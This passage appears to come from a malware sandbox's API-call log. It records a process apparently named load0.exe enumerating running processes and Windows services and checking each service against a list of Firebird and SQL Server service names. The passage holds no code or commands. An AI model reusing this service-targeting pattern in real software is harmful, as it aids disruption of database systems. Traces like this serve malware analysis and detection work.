dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0292.373] lstrlenW (lpString="spoolsv.exe") returned 11 [0292.373] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.374] lstrlenW (lpString="svchost.exe") returned 11 [0292.374] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x698, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0292.375] lstrlenW (lpString="audiodg.exe") returned 11 [0292.375] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0292.376] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0292.376] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0292.377] lstrlenW (lpString="Memory Compression") returned 18 [0292.377] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0292.378] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0292.379] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0292.379] lstrlenW (lpString="sihost.exe") returned 10 [0292.379] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.380] lstrlenW (lpString="svchost.exe") returned 11 [0292.380] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0292.381] lstrlenW (lpString="taskhostw.exe") returned 13 [0292.381] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c4, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0292.382] lstrlenW (lpString="msoia.exe") returned 9 [0292.382] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0292.383] lstrlenW (lpString="explorer.exe") returned 12 [0292.383] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0292.384] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0292.384] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0292.385] lstrlenW (lpString="SearchUI.exe") returned 12 [0292.385] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0292.385] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0292.385] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0xdac, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0292.386] lstrlenW (lpString="load0.exe") returned 9 [0292.387] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.387] lstrlenW (lpString="svchost.exe") returned 11 [0292.387] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0292.388] CloseHandle (hObject=0x1088) returned 1 [0292.388] Sleep (dwMilliseconds=0x1f4) [0292.905] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7bd558 [0292.905] EnumServicesStatusExW (in: hSCManager=0x7bd558, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x8d1ff3c, lpServicesReturned=0x8d1ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x8d1ff3c, lpServicesReturned=0x8d1ff54, lpResumeHandle=0x0) returned 0 [0292.906] GetLastError () returned 0xea [0292.906] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x1d10) returned 0x37b20c0 [0292.906] EnumServicesStatusExW (in: hSCManager=0x7bd558, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x37b20c0, cbBufSize=0x1d10, pcbBytesNeeded=0x8d1ff3c, lpServicesReturned=0x8d1ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x37b20c0, pcbBytesNeeded=0x8d1ff3c, lpServicesReturned=0x8d1ff54, lpResumeHandle=0x0) returned 1 [0292.906] CloseServiceHandle (hSCObject=0x7bd558) returned 1 [0292.906] lstrlenW (lpString="Appinfo") returned 7 [0292.907] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0292.907] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0292.907] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0292.907] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0292.907] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0292.907] lstrlenW (lpString="AppXSvc") returned 7 [0292.907] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0292.907] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0292.907] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0292.907] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0292.907] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0292.907] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0292.907] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0292.907] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0292.907] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0292.907] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0292.907] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0292.907] lstrlenW (lpString="Audiosrv") returned 8 [0292.907] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0292.907] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0292.907] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0292.907] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0292.907] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0292.907] lstrlenW (lpString="BFE") returned 3 [0292.907] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0292.907] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0292.907] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0292.907] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0292.907] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0292.907] lstrlenW (lpString="BITS") returned 4 [0292.907] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0292.907] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0292.907] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0292.907] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0292.907] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0292.907] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0292.907] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0292.907] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0292.908] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0292.908] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0292.908] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0292.908] lstrlenW (lpString="CDPSvc") returned 6 [0292.908] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0292.908] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0292.908] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0292.908] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0292.908] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0292.908] lstrlenW (lpString="ClickToRunSvc") returned 13 [0292.908] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0292.908] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0292.908] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0292.908] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0292.908] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0292.908] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0292.908] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0292.908] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0292.908] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0292.908] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0292.908] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0292.908] lstrlenW (lpString="CryptSvc") returned 8 [0292.908] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0292.908] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0292.908] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0292.908] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0292.908] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0292.908] lstrlenW (lpString="DcomLaunch") returned 10 [0292.908] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0292.908] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0292.908] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0292.908] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0292.908] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0292.908] lstrlenW (lpString="DeviceAssociationService") returned 24 [0292.908] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0292.908] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0292.908] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0292.908] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0292.908] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0292.909] lstrlenW (lpString="Dhcp") returned 4 [0292.909] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0292.909] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0292.909] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0292.909] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0292.909] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0292.909] lstrlenW (lpString="Dnscache") returned 8 [0292.909] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0292.909] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0292.909] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0292.909] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0292.909] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0292.909] lstrlenW (lpString="DPS") returned 3 [0292.909] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0292.909] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0292.909] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0292.909] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0292.909] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0292.909] lstrlenW (lpString="DusmSvc") returned 7 [0292.909] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0292.909] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0292.909] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0292.909] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0292.909] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0292.909] lstrlenW (lpString="EventLog") returned 8 [0292.909] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0292.909] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0292.909] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0292.909] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0292.909] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0292.909] lstrlenW (lpString="EventSystem") returned 11 [0292.909] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0292.909] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0292.909] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0292.909] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0292.909] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0292.909] lstrlenW (lpString="FontCache") returned 9 [0292.909] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0292.909] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0292.910] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0292.910] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0292.910] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0292.910] lstrlenW (lpString="gpsvc") returned 5 [0292.910] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0292.910] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0292.910] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0292.910] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0292.910] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0292.910] lstrlenW (lpString="iphlpsvc") returned 8 [0292.910] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0292.910] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0292.910] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0292.910] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0292.910] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0292.910] lstrlenW (lpString="KeyIso") returned 6 [0292.910] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0292.910] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0292.910] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0292.910] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0292.910] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0292.910] lstrlenW (lpString="LanmanServer") returned 12 [0292.910] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0292.910] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0292.910] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0292.910] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0292.910] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0292.910] lstrlenW (lpString="LanmanWorkstation") returned 17 [0292.910] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0292.910] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0292.910] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0292.910] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0292.910] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0292.910] lstrlenW (lpString="lfsvc") returned 5 [0292.910] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0292.910] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0292.910] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0292.910] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0292.910] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0292.911] lstrlenW (lpString="lmhosts") returned 7 [0292.911] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0292.911] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0292.911] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0292.911] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0292.911] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0292.911] lstrlenW (lpString="LSM") returned 3 [0292.911] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0292.911] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0292.911] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0292.911] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0292.911] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0292.911] lstrlenW (lpString="MpsSvc") returned 6 [0292.911] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0292.911] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0292.911] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0292.911] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0292.911] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0292.911] lstrlenW (lpString="NcbService") returned 10 [0292.911] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0292.911] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0292.911] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0292.911] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0292.911] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0292.911] lstrlenW (lpString="netprofm") returned 8 [0292.911] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0292.911] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0292.911] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0292.911] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0292.911] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0292.911] lstrlenW (lpString="NgcSvc") returned 6 [0292.911] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0292.911] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0292.911] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0292.911] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0292.911] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0292.911] lstrlenW (lpString="NlaSvc") returned 6 [0292.911] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0292.911] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0292.911] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0292.912] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0292.912] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0292.912] lstrlenW (lpString="nsi") returned 3 [0292.912] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0292.912] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0292.912] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0292.912] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0292.912] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0292.912] lstrlenW (lpString="PcaSvc") returned 6 [0292.912] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0292.912] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0292.912] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0292.912] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0292.912] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0292.912] lstrlenW (lpString="PlugPlay") returned 8 [0292.912] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0292.912] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0292.912] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0292.912] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0292.912] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0292.912] lstrlenW (lpString="Power") returned 5 [0292.912] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0292.912] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0292.912] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0292.912] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0292.912] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0292.912] lstrlenW (lpString="ProfSvc") returned 7 [0292.912] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0292.912] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0292.912] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0292.912] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0292.912] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0292.912] lstrlenW (lpString="RpcEptMapper") returned 12 [0292.912] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0292.912] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0292.912] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0292.912] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0292.912] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0292.912] lstrlenW (lpString="RpcSs") returned 5 [0292.913] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0292.913] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0292.913] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0292.913] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0292.913] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0292.913] lstrlenW (lpString="SamSs") returned 5 [0292.913] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0292.913] lstrcmpiW 